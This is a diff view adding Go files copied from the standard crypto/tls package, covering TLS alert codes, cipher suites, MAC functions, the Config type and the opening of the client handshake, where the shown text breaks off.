alertInternalError alert = 80
|
||||
alertUserCanceled alert = 90
|
||||
alertNoRenegotiation alert = 100
|
||||
)
|
||||
|
||||
var alertText = map[alert]string{
|
||||
alertCloseNotify: "close notify",
|
||||
alertUnexpectedMessage: "unexpected message",
|
||||
alertBadRecordMAC: "bad record MAC",
|
||||
alertDecryptionFailed: "decryption failed",
|
||||
alertRecordOverflow: "record overflow",
|
||||
alertDecompressionFailure: "decompression failure",
|
||||
alertHandshakeFailure: "handshake failure",
|
||||
alertBadCertificate: "bad certificate",
|
||||
alertUnsupportedCertificate: "unsupported certificate",
|
||||
alertCertificateRevoked: "revoked certificate",
|
||||
alertCertificateExpired: "expired certificate",
|
||||
alertCertificateUnknown: "unknown certificate",
|
||||
alertIllegalParameter: "illegal parameter",
|
||||
alertUnknownCA: "unknown certificate authority",
|
||||
alertAccessDenied: "access denied",
|
||||
alertDecodeError: "error decoding message",
|
||||
alertDecryptError: "error decrypting message",
|
||||
alertProtocolVersion: "protocol version not supported",
|
||||
alertInsufficientSecurity: "insufficient security level",
|
||||
alertInternalError: "internal error",
|
||||
alertUserCanceled: "user canceled",
|
||||
alertNoRenegotiation: "no renegotiation",
|
||||
}
|
||||
|
||||
func (e alert) String() string {
|
||||
s, ok := alertText[e]
|
||||
if ok {
|
||||
return s
|
||||
}
|
||||
return "alert(" + strconv.Itoa(int(e)) + ")"
|
||||
}
|
||||
|
||||
func (e alert) Error() string {
|
||||
return e.String()
|
||||
}
|
||||
+270
@@ -0,0 +1,270 @@
|
||||
// Copyright 2010 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"crypto/des"
|
||||
"crypto/hmac"
|
||||
"crypto/rc4"
|
||||
"crypto/sha1"
|
||||
"crypto/x509"
|
||||
"hash"
|
||||
)
|
||||
|
||||
// a keyAgreement implements the client and server side of a TLS key agreement
|
||||
// protocol by generating and processing key exchange messages.
|
||||
type keyAgreement interface {
|
||||
// On the server side, the first two methods are called in order.
|
||||
|
||||
// In the case that the key agreement protocol doesn't use a
|
||||
// ServerKeyExchange message, generateServerKeyExchange can return nil,
|
||||
// nil.
|
||||
generateServerKeyExchange(*Config, *Certificate, *clientHelloMsg, *serverHelloMsg) (*serverKeyExchangeMsg, error)
|
||||
processClientKeyExchange(*Config, *Certificate, *clientKeyExchangeMsg, uint16) ([]byte, error)
|
||||
|
||||
// On the client side, the next two methods are called in order.
|
||||
|
||||
// This method may not be called if the server doesn't send a
|
||||
// ServerKeyExchange message.
|
||||
processServerKeyExchange(*Config, *clientHelloMsg, *serverHelloMsg, *x509.Certificate, *serverKeyExchangeMsg) error
|
||||
generateClientKeyExchange(*Config, *clientHelloMsg, *x509.Certificate) ([]byte, *clientKeyExchangeMsg, error)
|
||||
}
|
||||
|
||||
const (
|
||||
// suiteECDH indicates that the cipher suite involves elliptic curve
|
||||
// Diffie-Hellman. This means that it should only be selected when the
|
||||
// client indicates that it supports ECC with a curve and point format
|
||||
// that we're happy with.
|
||||
suiteECDHE = 1 << iota
|
||||
// suiteECDSA indicates that the cipher suite involves an ECDSA
|
||||
// signature and therefore may only be selected when the server's
|
||||
// certificate is ECDSA. If this is not set then the cipher suite is
|
||||
// RSA based.
|
||||
suiteECDSA
|
||||
// suiteTLS12 indicates that the cipher suite should only be advertised
|
||||
// and accepted when using TLS 1.2.
|
||||
suiteTLS12
|
||||
)
|
||||
|
||||
// A cipherSuite is a specific combination of key agreement, cipher and MAC
|
||||
// function. All cipher suites currently assume RSA key agreement.
|
||||
type cipherSuite struct {
|
||||
id uint16
|
||||
// the lengths, in bytes, of the key material needed for each component.
|
||||
keyLen int
|
||||
macLen int
|
||||
ivLen int
|
||||
ka func(version uint16) keyAgreement
|
||||
// flags is a bitmask of the suite* values, above.
|
||||
flags int
|
||||
cipher func(key, iv []byte, isRead bool) interface{}
|
||||
mac func(version uint16, macKey []byte) macFunction
|
||||
aead func(key, fixedNonce []byte) cipher.AEAD
|
||||
}
|
||||
|
||||
var cipherSuites = []*cipherSuite{
|
||||
// Ciphersuite order is chosen so that ECDHE comes before plain RSA
|
||||
// and RC4 comes before AES (because of the Lucky13 attack).
|
||||
{TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, 16, 0, 4, ecdheRSAKA, suiteECDHE | suiteTLS12, nil, nil, aeadAESGCM},
|
||||
{TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, 16, 0, 4, ecdheECDSAKA, suiteECDHE | suiteECDSA | suiteTLS12, nil, nil, aeadAESGCM},
|
||||
{TLS_ECDHE_RSA_WITH_RC4_128_SHA, 16, 20, 0, ecdheRSAKA, suiteECDHE, cipherRC4, macSHA1, nil},
|
||||
{TLS_ECDHE_ECDSA_WITH_RC4_128_SHA, 16, 20, 0, ecdheECDSAKA, suiteECDHE | suiteECDSA, cipherRC4, macSHA1, nil},
|
||||
{TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, 16, 20, 16, ecdheRSAKA, suiteECDHE, cipherAES, macSHA1, nil},
|
||||
{TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, 16, 20, 16, ecdheECDSAKA, suiteECDHE | suiteECDSA, cipherAES, macSHA1, nil},
|
||||
{TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, 32, 20, 16, ecdheRSAKA, suiteECDHE, cipherAES, macSHA1, nil},
|
||||
{TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, 32, 20, 16, ecdheECDSAKA, suiteECDHE | suiteECDSA, cipherAES, macSHA1, nil},
|
||||
{TLS_RSA_WITH_RC4_128_SHA, 16, 20, 0, rsaKA, 0, cipherRC4, macSHA1, nil},
|
||||
{TLS_RSA_WITH_AES_128_CBC_SHA, 16, 20, 16, rsaKA, 0, cipherAES, macSHA1, nil},
|
||||
{TLS_RSA_WITH_AES_256_CBC_SHA, 32, 20, 16, rsaKA, 0, cipherAES, macSHA1, nil},
|
||||
{TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA, 24, 20, 8, ecdheRSAKA, suiteECDHE, cipher3DES, macSHA1, nil},
|
||||
{TLS_RSA_WITH_3DES_EDE_CBC_SHA, 24, 20, 8, rsaKA, 0, cipher3DES, macSHA1, nil},
|
||||
}
|
||||
|
||||
func cipherRC4(key, iv []byte, isRead bool) interface{} {
|
||||
cipher, _ := rc4.NewCipher(key)
|
||||
return cipher
|
||||
}
|
||||
|
||||
func cipher3DES(key, iv []byte, isRead bool) interface{} {
|
||||
block, _ := des.NewTripleDESCipher(key)
|
||||
if isRead {
|
||||
return cipher.NewCBCDecrypter(block, iv)
|
||||
}
|
||||
return cipher.NewCBCEncrypter(block, iv)
|
||||
}
|
||||
|
||||
func cipherAES(key, iv []byte, isRead bool) interface{} {
|
||||
block, _ := aes.NewCipher(key)
|
||||
if isRead {
|
||||
return cipher.NewCBCDecrypter(block, iv)
|
||||
}
|
||||
return cipher.NewCBCEncrypter(block, iv)
|
||||
}
|
||||
|
||||
// macSHA1 returns a macFunction for the given protocol version.
|
||||
func macSHA1(version uint16, key []byte) macFunction {
|
||||
if version == VersionSSL30 {
|
||||
mac := ssl30MAC{
|
||||
h: sha1.New(),
|
||||
key: make([]byte, len(key)),
|
||||
}
|
||||
copy(mac.key, key)
|
||||
return mac
|
||||
}
|
||||
return tls10MAC{hmac.New(sha1.New, key)}
|
||||
}
|
||||
|
||||
type macFunction interface {
|
||||
Size() int
|
||||
MAC(digestBuf, seq, header, data []byte) []byte
|
||||
}
|
||||
|
||||
// fixedNonceAEAD wraps an AEAD and prefixes a fixed portion of the nonce to
|
||||
// each call.
|
||||
type fixedNonceAEAD struct {
|
||||
// sealNonce and openNonce are buffers where the larger nonce will be
|
||||
// constructed. Since a seal and open operation may be running
|
||||
// concurrently, there is a separate buffer for each.
|
||||
sealNonce, openNonce []byte
|
||||
aead cipher.AEAD
|
||||
}
|
||||
|
||||
func (f *fixedNonceAEAD) NonceSize() int { return 8 }
|
||||
func (f *fixedNonceAEAD) Overhead() int { return f.aead.Overhead() }
|
||||
|
||||
func (f *fixedNonceAEAD) Seal(out, nonce, plaintext, additionalData []byte) []byte {
|
||||
copy(f.sealNonce[len(f.sealNonce)-8:], nonce)
|
||||
return f.aead.Seal(out, f.sealNonce, plaintext, additionalData)
|
||||
}
|
||||
|
||||
func (f *fixedNonceAEAD) Open(out, nonce, plaintext, additionalData []byte) ([]byte, error) {
|
||||
copy(f.openNonce[len(f.openNonce)-8:], nonce)
|
||||
return f.aead.Open(out, f.openNonce, plaintext, additionalData)
|
||||
}
|
||||
|
||||
func aeadAESGCM(key, fixedNonce []byte) cipher.AEAD {
|
||||
aes, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
aead, err := cipher.NewGCM(aes)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
nonce1, nonce2 := make([]byte, 12), make([]byte, 12)
|
||||
copy(nonce1, fixedNonce)
|
||||
copy(nonce2, fixedNonce)
|
||||
|
||||
return &fixedNonceAEAD{nonce1, nonce2, aead}
|
||||
}
|
||||
|
||||
// ssl30MAC implements the SSLv3 MAC function, as defined in
|
||||
// www.mozilla.org/projects/security/pki/nss/ssl/draft302.txt section 5.2.3.1
|
||||
type ssl30MAC struct {
|
||||
h hash.Hash
|
||||
key []byte
|
||||
}
|
||||
|
||||
func (s ssl30MAC) Size() int {
|
||||
return s.h.Size()
|
||||
}
|
||||
|
||||
var ssl30Pad1 = [48]byte{0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36, 0x36}
|
||||
|
||||
var ssl30Pad2 = [48]byte{0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, 0x5c}
|
||||
|
||||
func (s ssl30MAC) MAC(digestBuf, seq, header, data []byte) []byte {
|
||||
padLength := 48
|
||||
if s.h.Size() == 20 {
|
||||
padLength = 40
|
||||
}
|
||||
|
||||
s.h.Reset()
|
||||
s.h.Write(s.key)
|
||||
s.h.Write(ssl30Pad1[:padLength])
|
||||
s.h.Write(seq)
|
||||
s.h.Write(header[:1])
|
||||
s.h.Write(header[3:5])
|
||||
s.h.Write(data)
|
||||
digestBuf = s.h.Sum(digestBuf[:0])
|
||||
|
||||
s.h.Reset()
|
||||
s.h.Write(s.key)
|
||||
s.h.Write(ssl30Pad2[:padLength])
|
||||
s.h.Write(digestBuf)
|
||||
return s.h.Sum(digestBuf[:0])
|
||||
}
|
||||
|
||||
// tls10MAC implements the TLS 1.0 MAC function. RFC 2246, section 6.2.3.
|
||||
type tls10MAC struct {
|
||||
h hash.Hash
|
||||
}
|
||||
|
||||
func (s tls10MAC) Size() int {
|
||||
return s.h.Size()
|
||||
}
|
||||
|
||||
func (s tls10MAC) MAC(digestBuf, seq, header, data []byte) []byte {
|
||||
s.h.Reset()
|
||||
s.h.Write(seq)
|
||||
s.h.Write(header)
|
||||
s.h.Write(data)
|
||||
return s.h.Sum(digestBuf[:0])
|
||||
}
|
||||
|
||||
func rsaKA(version uint16) keyAgreement {
|
||||
return rsaKeyAgreement{}
|
||||
}
|
||||
|
||||
func ecdheECDSAKA(version uint16) keyAgreement {
|
||||
return &ecdheKeyAgreement{
|
||||
sigType: signatureECDSA,
|
||||
version: version,
|
||||
}
|
||||
}
|
||||
|
||||
func ecdheRSAKA(version uint16) keyAgreement {
|
||||
return &ecdheKeyAgreement{
|
||||
sigType: signatureRSA,
|
||||
version: version,
|
||||
}
|
||||
}
|
||||
|
||||
// mutualCipherSuite returns a cipherSuite given a list of supported
|
||||
// ciphersuites and the id requested by the peer.
|
||||
func mutualCipherSuite(have []uint16, want uint16) *cipherSuite {
|
||||
for _, id := range have {
|
||||
if id == want {
|
||||
for _, suite := range cipherSuites {
|
||||
if suite.id == want {
|
||||
return suite
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// A list of the possible cipher suite ids. Taken from
|
||||
// http://www.iana.org/assignments/tls-parameters/tls-parameters.xml
|
||||
const (
|
||||
TLS_RSA_WITH_RC4_128_SHA uint16 = 0x0005
|
||||
TLS_RSA_WITH_3DES_EDE_CBC_SHA uint16 = 0x000a
|
||||
TLS_RSA_WITH_AES_128_CBC_SHA uint16 = 0x002f
|
||||
TLS_RSA_WITH_AES_256_CBC_SHA uint16 = 0x0035
|
||||
TLS_ECDHE_ECDSA_WITH_RC4_128_SHA uint16 = 0xc007
|
||||
TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA uint16 = 0xc009
|
||||
TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA uint16 = 0xc00a
|
||||
TLS_ECDHE_RSA_WITH_RC4_128_SHA uint16 = 0xc011
|
||||
TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA uint16 = 0xc012
|
||||
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA uint16 = 0xc013
|
||||
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA uint16 = 0xc014
|
||||
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 uint16 = 0xc02f
|
||||
TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 uint16 = 0xc02b
|
||||
)
|
||||
@@ -0,0 +1,437 @@
|
||||
// Copyright 2009 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"crypto"
|
||||
"crypto/rand"
|
||||
"crypto/x509"
|
||||
"io"
|
||||
"math/big"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
const (
|
||||
VersionSSL30 = 0x0300
|
||||
VersionTLS10 = 0x0301
|
||||
VersionTLS11 = 0x0302
|
||||
VersionTLS12 = 0x0303
|
||||
)
|
||||
|
||||
const (
|
||||
maxPlaintext = 16384 // maximum plaintext payload length
|
||||
maxCiphertext = 16384 + 2048 // maximum ciphertext payload length
|
||||
recordHeaderLen = 5 // record header length
|
||||
maxHandshake = 65536 // maximum handshake we support (protocol max is 16 MB)
|
||||
|
||||
minVersion = VersionSSL30
|
||||
maxVersion = VersionTLS12
|
||||
)
|
||||
|
||||
// TLS record types.
|
||||
type recordType uint8
|
||||
|
||||
const (
|
||||
recordTypeChangeCipherSpec recordType = 20
|
||||
recordTypeAlert recordType = 21
|
||||
recordTypeHandshake recordType = 22
|
||||
recordTypeApplicationData recordType = 23
|
||||
)
|
||||
|
||||
// TLS handshake message types.
|
||||
const (
|
||||
typeClientHello uint8 = 1
|
||||
typeServerHello uint8 = 2
|
||||
typeNewSessionTicket uint8 = 4
|
||||
typeCertificate uint8 = 11
|
||||
typeServerKeyExchange uint8 = 12
|
||||
typeCertificateRequest uint8 = 13
|
||||
typeServerHelloDone uint8 = 14
|
||||
typeCertificateVerify uint8 = 15
|
||||
typeClientKeyExchange uint8 = 16
|
||||
typeFinished uint8 = 20
|
||||
typeCertificateStatus uint8 = 22
|
||||
typeNextProtocol uint8 = 67 // Not IANA assigned
|
||||
)
|
||||
|
||||
// TLS compression types.
|
||||
const (
|
||||
compressionNone uint8 = 0
|
||||
)
|
||||
|
||||
// TLS extension numbers
|
||||
var (
|
||||
extensionServerName uint16 = 0
|
||||
extensionStatusRequest uint16 = 5
|
||||
extensionSupportedCurves uint16 = 10
|
||||
extensionSupportedPoints uint16 = 11
|
||||
extensionSignatureAlgorithms uint16 = 13
|
||||
extensionSessionTicket uint16 = 35
|
||||
extensionNextProtoNeg uint16 = 13172 // not IANA assigned
|
||||
)
|
||||
|
||||
// TLS Elliptic Curves
|
||||
// http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-8
|
||||
var (
|
||||
curveP256 uint16 = 23
|
||||
curveP384 uint16 = 24
|
||||
curveP521 uint16 = 25
|
||||
)
|
||||
|
||||
// TLS Elliptic Curve Point Formats
|
||||
// http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-9
|
||||
var (
|
||||
pointFormatUncompressed uint8 = 0
|
||||
)
|
||||
|
||||
// TLS CertificateStatusType (RFC 3546)
|
||||
const (
|
||||
statusTypeOCSP uint8 = 1
|
||||
)
|
||||
|
||||
// Certificate types (for certificateRequestMsg)
|
||||
const (
|
||||
certTypeRSASign = 1 // A certificate containing an RSA key
|
||||
certTypeDSSSign = 2 // A certificate containing a DSA key
|
||||
certTypeRSAFixedDH = 3 // A certificate containing a static DH key
|
||||
certTypeDSSFixedDH = 4 // A certificate containing a static DH key
|
||||
|
||||
// See RFC4492 sections 3 and 5.5.
|
||||
certTypeECDSASign = 64 // A certificate containing an ECDSA-capable public key, signed with ECDSA.
|
||||
certTypeRSAFixedECDH = 65 // A certificate containing an ECDH-capable public key, signed with RSA.
|
||||
certTypeECDSAFixedECDH = 66 // A certificate containing an ECDH-capable public key, signed with ECDSA.
|
||||
|
||||
// Rest of these are reserved by the TLS spec
|
||||
)
|
||||
|
||||
// Hash functions for TLS 1.2 (See RFC 5246, section A.4.1)
|
||||
const (
|
||||
hashSHA1 uint8 = 2
|
||||
hashSHA256 uint8 = 4
|
||||
)
|
||||
|
||||
// Signature algorithms for TLS 1.2 (See RFC 5246, section A.4.1)
|
||||
const (
|
||||
signatureRSA uint8 = 1
|
||||
signatureECDSA uint8 = 3
|
||||
)
|
||||
|
||||
// signatureAndHash mirrors the TLS 1.2, SignatureAndHashAlgorithm struct. See
|
||||
// RFC 5246, section A.4.1.
|
||||
type signatureAndHash struct {
|
||||
hash, signature uint8
|
||||
}
|
||||
|
||||
// supportedSKXSignatureAlgorithms contains the signature and hash algorithms
|
||||
// that the code advertises as supported in a TLS 1.2 ClientHello.
|
||||
var supportedSKXSignatureAlgorithms = []signatureAndHash{
|
||||
{hashSHA256, signatureRSA},
|
||||
{hashSHA256, signatureECDSA},
|
||||
{hashSHA1, signatureRSA},
|
||||
{hashSHA1, signatureECDSA},
|
||||
}
|
||||
|
||||
// supportedClientCertSignatureAlgorithms contains the signature and hash
|
||||
// algorithms that the code advertises as supported in a TLS 1.2
|
||||
// CertificateRequest.
|
||||
var supportedClientCertSignatureAlgorithms = []signatureAndHash{
|
||||
{hashSHA256, signatureRSA},
|
||||
{hashSHA256, signatureECDSA},
|
||||
}
|
||||
|
||||
// ConnectionState records basic TLS details about the connection.
|
||||
type ConnectionState struct {
|
||||
HandshakeComplete bool // TLS handshake is complete
|
||||
DidResume bool // connection resumes a previous TLS connection
|
||||
CipherSuite uint16 // cipher suite in use (TLS_RSA_WITH_RC4_128_SHA, ...)
|
||||
NegotiatedProtocol string // negotiated next protocol (from Config.NextProtos)
|
||||
NegotiatedProtocolIsMutual bool // negotiated protocol was advertised by server
|
||||
ServerName string // server name requested by client, if any (server side only)
|
||||
PeerCertificates []*x509.Certificate // certificate chain presented by remote peer
|
||||
VerifiedChains [][]*x509.Certificate // verified chains built from PeerCertificates
|
||||
}
|
||||
|
||||
// ClientAuthType declares the policy the server will follow for
|
||||
// TLS Client Authentication.
|
||||
type ClientAuthType int
|
||||
|
||||
const (
|
||||
NoClientCert ClientAuthType = iota
|
||||
RequestClientCert
|
||||
RequireAnyClientCert
|
||||
VerifyClientCertIfGiven
|
||||
RequireAndVerifyClientCert
|
||||
)
|
||||
|
||||
// A Config structure is used to configure a TLS client or server. After one
|
||||
// has been passed to a TLS function it must not be modified.
|
||||
type Config struct {
|
||||
// Rand provides the source of entropy for nonces and RSA blinding.
|
||||
// If Rand is nil, TLS uses the cryptographic random reader in package
|
||||
// crypto/rand.
|
||||
Rand io.Reader
|
||||
|
||||
// Time returns the current time as the number of seconds since the epoch.
|
||||
// If Time is nil, TLS uses time.Now.
|
||||
Time func() time.Time
|
||||
|
||||
// Certificates contains one or more certificate chains
|
||||
// to present to the other side of the connection.
|
||||
// Server configurations must include at least one certificate.
|
||||
Certificates []Certificate
|
||||
|
||||
// NameToCertificate maps from a certificate name to an element of
|
||||
// Certificates. Note that a certificate name can be of the form
|
||||
// '*.example.com' and so doesn't have to be a domain name as such.
|
||||
// See Config.BuildNameToCertificate
|
||||
// The nil value causes the first element of Certificates to be used
|
||||
// for all connections.
|
||||
NameToCertificate map[string]*Certificate
|
||||
|
||||
// RootCAs defines the set of root certificate authorities
|
||||
// that clients use when verifying server certificates.
|
||||
// If RootCAs is nil, TLS uses the host's root CA set.
|
||||
RootCAs *x509.CertPool
|
||||
|
||||
// NextProtos is a list of supported, application level protocols.
|
||||
NextProtos []string
|
||||
|
||||
// ServerName is included in the client's handshake to support virtual
|
||||
// hosting.
|
||||
ServerName string
|
||||
|
||||
// ClientAuth determines the server's policy for
|
||||
// TLS Client Authentication. The default is NoClientCert.
|
||||
ClientAuth ClientAuthType
|
||||
|
||||
// ClientCAs defines the set of root certificate authorities
|
||||
// that servers use if required to verify a client certificate
|
||||
// by the policy in ClientAuth.
|
||||
ClientCAs *x509.CertPool
|
||||
|
||||
// InsecureSkipVerify controls whether a client verifies the
|
||||
// server's certificate chain and host name.
|
||||
// If InsecureSkipVerify is true, TLS accepts any certificate
|
||||
// presented by the server and any host name in that certificate.
|
||||
// In this mode, TLS is susceptible to man-in-the-middle attacks.
|
||||
// This should be used only for testing.
|
||||
InsecureSkipVerify bool
|
||||
|
||||
// CipherSuites is a list of supported cipher suites. If CipherSuites
|
||||
// is nil, TLS uses a list of suites supported by the implementation.
|
||||
CipherSuites []uint16
|
||||
|
||||
// PreferServerCipherSuites controls whether the server selects the
|
||||
// client's most preferred ciphersuite, or the server's most preferred
|
||||
// ciphersuite. If true then the server's preference, as expressed in
|
||||
// the order of elements in CipherSuites, is used.
|
||||
PreferServerCipherSuites bool
|
||||
|
||||
// SessionTicketsDisabled may be set to true to disable session ticket
|
||||
// (resumption) support.
|
||||
SessionTicketsDisabled bool
|
||||
|
||||
// SessionTicketKey is used by TLS servers to provide session
|
||||
// resumption. See RFC 5077. If zero, it will be filled with
|
||||
// random data before the first server handshake.
|
||||
//
|
||||
// If multiple servers are terminating connections for the same host
|
||||
// they should all have the same SessionTicketKey. If the
|
||||
// SessionTicketKey leaks, previously recorded and future TLS
|
||||
// connections using that key are compromised.
|
||||
SessionTicketKey [32]byte
|
||||
|
||||
// MinVersion contains the minimum SSL/TLS version that is acceptable.
|
||||
// If zero, then SSLv3 is taken as the minimum.
|
||||
MinVersion uint16
|
||||
|
||||
// MaxVersion contains the maximum SSL/TLS version that is acceptable.
|
||||
// If zero, then the maximum version supported by this package is used,
|
||||
// which is currently TLS 1.2.
|
||||
MaxVersion uint16
|
||||
|
||||
serverInitOnce sync.Once // guards calling (*Config).serverInit
|
||||
}
|
||||
|
||||
func (c *Config) serverInit() {
|
||||
if c.SessionTicketsDisabled {
|
||||
return
|
||||
}
|
||||
|
||||
// If the key has already been set then we have nothing to do.
|
||||
for _, b := range c.SessionTicketKey {
|
||||
if b != 0 {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if _, err := io.ReadFull(c.rand(), c.SessionTicketKey[:]); err != nil {
|
||||
c.SessionTicketsDisabled = true
|
||||
}
|
||||
}
|
||||
|
||||
func (c *Config) rand() io.Reader {
|
||||
r := c.Rand
|
||||
if r == nil {
|
||||
return rand.Reader
|
||||
}
|
||||
return r
|
||||
}
|
||||
|
||||
func (c *Config) time() time.Time {
|
||||
t := c.Time
|
||||
if t == nil {
|
||||
t = time.Now
|
||||
}
|
||||
return t()
|
||||
}
|
||||
|
||||
func (c *Config) cipherSuites() []uint16 {
|
||||
s := c.CipherSuites
|
||||
if s == nil {
|
||||
s = defaultCipherSuites()
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
func (c *Config) minVersion() uint16 {
|
||||
if c == nil || c.MinVersion == 0 {
|
||||
return minVersion
|
||||
}
|
||||
return c.MinVersion
|
||||
}
|
||||
|
||||
func (c *Config) maxVersion() uint16 {
|
||||
if c == nil || c.MaxVersion == 0 {
|
||||
return maxVersion
|
||||
}
|
||||
return c.MaxVersion
|
||||
}
|
||||
|
||||
// mutualVersion returns the protocol version to use given the advertised
|
||||
// version of the peer.
|
||||
func (c *Config) mutualVersion(vers uint16) (uint16, bool) {
|
||||
minVersion := c.minVersion()
|
||||
maxVersion := c.maxVersion()
|
||||
|
||||
if vers < minVersion {
|
||||
return 0, false
|
||||
}
|
||||
if vers > maxVersion {
|
||||
vers = maxVersion
|
||||
}
|
||||
return vers, true
|
||||
}
|
||||
|
||||
// getCertificateForName returns the best certificate for the given name,
|
||||
// defaulting to the first element of c.Certificates if there are no good
|
||||
// options.
|
||||
func (c *Config) getCertificateForName(name string) *Certificate {
|
||||
if len(c.Certificates) == 1 || c.NameToCertificate == nil {
|
||||
// There's only one choice, so no point doing any work.
|
||||
return &c.Certificates[0]
|
||||
}
|
||||
|
||||
name = strings.ToLower(name)
|
||||
for len(name) > 0 && name[len(name)-1] == '.' {
|
||||
name = name[:len(name)-1]
|
||||
}
|
||||
|
||||
if cert, ok := c.NameToCertificate[name]; ok {
|
||||
return cert
|
||||
}
|
||||
|
||||
// try replacing labels in the name with wildcards until we get a
|
||||
// match.
|
||||
labels := strings.Split(name, ".")
|
||||
for i := range labels {
|
||||
labels[i] = "*"
|
||||
candidate := strings.Join(labels, ".")
|
||||
if cert, ok := c.NameToCertificate[candidate]; ok {
|
||||
return cert
|
||||
}
|
||||
}
|
||||
|
||||
// If nothing matches, return the first certificate.
|
||||
return &c.Certificates[0]
|
||||
}
|
||||
|
||||
// BuildNameToCertificate parses c.Certificates and builds c.NameToCertificate
|
||||
// from the CommonName and SubjectAlternateName fields of each of the leaf
|
||||
// certificates.
|
||||
func (c *Config) BuildNameToCertificate() {
|
||||
c.NameToCertificate = make(map[string]*Certificate)
|
||||
for i := range c.Certificates {
|
||||
cert := &c.Certificates[i]
|
||||
x509Cert, err := x509.ParseCertificate(cert.Certificate[0])
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if len(x509Cert.Subject.CommonName) > 0 {
|
||||
c.NameToCertificate[x509Cert.Subject.CommonName] = cert
|
||||
}
|
||||
for _, san := range x509Cert.DNSNames {
|
||||
c.NameToCertificate[san] = cert
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// A Certificate is a chain of one or more certificates, leaf first.
|
||||
type Certificate struct {
|
||||
Certificate [][]byte
|
||||
PrivateKey crypto.PrivateKey // supported types: *rsa.PrivateKey, *ecdsa.PrivateKey
|
||||
// OCSPStaple contains an optional OCSP response which will be served
|
||||
// to clients that request it.
|
||||
OCSPStaple []byte
|
||||
// Leaf is the parsed form of the leaf certificate, which may be
|
||||
// initialized using x509.ParseCertificate to reduce per-handshake
|
||||
// processing for TLS clients doing client authentication. If nil, the
|
||||
// leaf certificate will be parsed as needed.
|
||||
Leaf *x509.Certificate
|
||||
}
|
||||
|
||||
// A TLS record.
|
||||
type record struct {
|
||||
contentType recordType
|
||||
major, minor uint8
|
||||
payload []byte
|
||||
}
|
||||
|
||||
type handshakeMessage interface {
|
||||
marshal() []byte
|
||||
unmarshal([]byte) bool
|
||||
}
|
||||
|
||||
// TODO(jsing): Make these available to both crypto/x509 and crypto/tls.
|
||||
type dsaSignature struct {
|
||||
R, S *big.Int
|
||||
}
|
||||
|
||||
type ecdsaSignature dsaSignature
|
||||
|
||||
var emptyConfig Config
|
||||
|
||||
func defaultConfig() *Config {
|
||||
return &emptyConfig
|
||||
}
|
||||
|
||||
var (
|
||||
once sync.Once
|
||||
varDefaultCipherSuites []uint16
|
||||
)
|
||||
|
||||
func defaultCipherSuites() []uint16 {
|
||||
once.Do(initDefaultCipherSuites)
|
||||
return varDefaultCipherSuites
|
||||
}
|
||||
|
||||
func initDefaultCipherSuites() {
|
||||
varDefaultCipherSuites = make([]uint16, len(cipherSuites))
|
||||
for i, suite := range cipherSuites {
|
||||
varDefaultCipherSuites[i] = suite.id
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
+411
@@ -0,0 +1,411 @@
|
||||
// Copyright 2009 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/ecdsa"
|
||||
"crypto/rsa"
|
||||
"crypto/subtle"
|
||||
"crypto/x509"
|
||||
"encoding/asn1"
|
||||
"errors"
|
||||
"io"
|
||||
"strconv"
|
||||
)
|
||||
|
||||
func (c *Conn) clientHandshake() error {
|
||||
if c.config == nil {
|
||||
c.config = defaultConfig()
|
||||
}
|
||||
|
||||
hello := &clientHelloMsg{
|
||||
vers: c.config.maxVersion(),
|
||||
compressionMethods: []uint8{compressionNone},
|
||||
random: make([]byte, 32),
